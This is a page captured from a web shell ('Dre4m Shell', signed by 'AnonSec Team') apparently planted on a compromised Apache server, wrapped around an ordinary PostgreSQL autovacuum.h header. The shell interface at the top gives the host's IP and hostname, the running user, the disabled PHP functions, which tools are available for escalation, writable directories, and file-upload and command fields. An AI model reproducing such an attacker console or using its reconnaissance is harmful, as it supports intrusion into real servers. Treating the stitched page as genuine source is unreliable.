Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.133.153.110
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/include/postgresql/9.6/server/postmaster/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/include/postgresql/9.6/server/postmaster/autovacuum.h
/*-------------------------------------------------------------------------
 *
 * autovacuum.h
 *	  header file for integrated autovacuum daemon
 *
 *
 * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/postmaster/autovacuum.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef AUTOVACUUM_H
#define AUTOVACUUM_H


/* GUC variables */
extern bool autovacuum_start_daemon;
extern int	autovacuum_max_workers;
extern int	autovacuum_work_mem;
extern int	autovacuum_naptime;
extern int	autovacuum_vac_thresh;
extern double autovacuum_vac_scale;
extern int	autovacuum_anl_thresh;
extern double autovacuum_anl_scale;
extern int	autovacuum_freeze_max_age;
extern int	autovacuum_multixact_freeze_max_age;
extern int	autovacuum_vac_cost_delay;
extern int	autovacuum_vac_cost_limit;

/* autovacuum launcher PID, only valid when worker is shutting down */
extern int	AutovacuumLauncherPid;

extern int	Log_autovacuum_min_duration;

/* Status inquiry functions */
extern bool AutoVacuumingActive(void);
extern bool IsAutoVacuumLauncherProcess(void);
extern bool IsAutoVacuumWorkerProcess(void);

#define IsAnyAutoVacuumProcess() \
	(IsAutoVacuumLauncherProcess() || IsAutoVacuumWorkerProcess())

/* Functions to start autovacuum process, called from postmaster */
extern void autovac_init(void);
extern int	StartAutoVacLauncher(void);
extern int	StartAutoVacWorker(void);

/* called from postmaster when a worker could not be forked */
extern void AutoVacWorkerFailed(void);

/* autovacuum cost-delay balancer */
extern void AutoVacuumUpdateDelay(void);

#ifdef EXEC_BACKEND
extern void AutoVacLauncherMain(int argc, char *argv[]) pg_attribute_noreturn();
extern void AutoVacWorkerMain(int argc, char *argv[]) pg_attribute_noreturn();
extern void AutovacuumWorkerIAm(void);
extern void AutovacuumLauncherIAm(void);
#endif

/* shared memory stuff */
extern Size AutoVacuumShmemSize(void);
extern void AutoVacuumShmemInit(void);

#endif   /* AUTOVACUUM_H */

Anon7 - 2022
AnonSec Team